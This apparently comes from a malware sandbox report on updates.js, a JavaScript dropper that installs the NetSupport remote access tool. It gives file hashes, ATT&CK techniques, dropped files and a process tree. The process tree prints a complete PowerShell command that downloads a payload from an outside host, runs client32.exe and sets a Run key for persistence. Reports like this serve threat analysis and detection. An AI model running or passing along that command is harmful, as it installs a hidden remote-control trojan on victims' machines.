netsupport | 65ab8ed555628693952b1fc385feca757b0a689981128d848f2c39a52e7da1e9

Analysis

max time kernel
136s
max time network
131s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
16-07-2024 20:28

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General

Target

updates.js
Size

7.3MB
MD5

2826502a26311bbe395d5ab565114330
SHA1

1764ea00a1262c07b13d0c4b059e88e57650dfc4
SHA256

65ab8ed555628693952b1fc385feca757b0a689981128d848f2c39a52e7da1e9
SHA512

578eaf54cab019a8f1b166b1da0b5580ee8081bfd1629fe938e366ac855b501016d84e5567008069d900a970247577ae998191d028ce5904dd7c0a7bee451239
SSDEEP

49152:47h4zjCxb7qHlp4BOlN0KFhcuscyEMzYsm7++86mn3Ef/Vf7GI0/3qp6RCgScEQu:1

Score

10^/10

netsupport execution persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://dfwreds.com/data.php?14991

exe.dropper

http://dfwreds.com/data.php?14991

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	412	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
412	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
3896	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
3896	client32.exe
3896	client32.exe
3896	client32.exe
3896	client32.exe
3896	client32.exe
3896	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HQWQTO = "C:\\Users\\Admin\\AppData\\Roaming\\GRDCWLLI31\\client32.exe"	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
412	powershell.exe
412	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	412	powershell.exe
Token: SeSecurityPrivilege	3896	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3896	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3720 wrote to memory of 412	3720	wscript.exe	87
PID 3720 wrote to memory of 412	3720	wscript.exe	87
PID 412 wrote to memory of 3896	412	powershell.exe	89
PID 412 wrote to memory of 3896	412	powershell.exe	89
PID 412 wrote to memory of 3896	412	powershell.exe	89

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\updates.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:412
- - C:\Users\Admin\AppData\Roaming\GRDCWLLI31\client32.exe
    "C:\Users\Admin\AppData\Roaming\GRDCWLLI31\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:3896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3jsoipyw.345.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\GRDCWLLI31\HTCTL32.DLL

Filesize
320KB

MD5
c94005d2dcd2a54e40510344e0bb9435

SHA1
55b4a1620c5d0113811242c20bd9870a1e31d542

SHA256
3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

SHA512
2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Download Submit
C:\Users\Admin\AppData\Roaming\GRDCWLLI31\NSM.LIC

Filesize
195B

MD5
e9609072de9c29dc1963be208948ba44

SHA1
03bbe27d0d1ba651ff43363587d3d6d2e170060f

SHA256
dc6a52ad6d637eb407cc060e98dfeedcca1167e7f62688fb1c18580dd1d05747

SHA512
f0e26aa63b0c7f1b31074b9d6eef88d0cfbc467f86b12205cb539a45b0352e77ce2f99f29baeab58960a197714e72289744143ba17975699d058fe75d978dfd0

Download Submit
C:\Users\Admin\AppData\Roaming\GRDCWLLI31\PCICHEK.DLL

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
C:\Users\Admin\AppData\Roaming\GRDCWLLI31\PCICL32.dll

Filesize
3.6MB

MD5
d3d39180e85700f72aaae25e40c125ff

SHA1
f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

SHA256
38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

SHA512
471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

Download Submit
C:\Users\Admin\AppData\Roaming\GRDCWLLI31\client32.exe

Filesize
101KB

MD5
c4f1b50e3111d29774f7525039ff7086

SHA1
57539c95cba0986ec8df0fcdea433e7c71b724c6

SHA256
18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

SHA512
005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

Download Submit
C:\Users\Admin\AppData\Roaming\GRDCWLLI31\client32.ini

Filesize
671B

MD5
c94845bb509056e66ee5767759c9e5bd

SHA1
c1b6e003cf0ab1f236375faebe8707d519fd8a3d

SHA256
b2caadb660455f1aaf3737b93879e35d05602be1fdf2531602fd61e006e8c80a

SHA512
6c3750804763221bc72031c051eb9ae67874ffae7795f96435ef577ff3f7e84f5a42c9715ebbde53b1bd9e9ad5b7e59a691ab36df2267a5a5fc2c84f032d1e86

Download Submit
C:\Users\Admin\AppData\Roaming\GRDCWLLI31\msvcr100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\GRDCWLLI31\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
memory/412-14-0x000001C3665F0000-0x000001C3665FA000-memory.dmp

Filesize
40KB

Download
memory/412-15-0x000001C366670000-0x000001C366682000-memory.dmp

Filesize
72KB

Download
memory/412-0-0x00007FFB9D733000-0x00007FFB9D735000-memory.dmp

Filesize
8KB

Download
memory/412-77-0x00007FFB9D730000-0x00007FFB9E1F1000-memory.dmp

Filesize
10.8MB

Download
memory/412-12-0x00007FFB9D730000-0x00007FFB9E1F1000-memory.dmp

Filesize
10.8MB

Download
memory/412-11-0x00007FFB9D730000-0x00007FFB9E1F1000-memory.dmp

Filesize
10.8MB

Download
memory/412-1-0x000001C366610000-0x000001C366632000-memory.dmp

Filesize
136KB

Download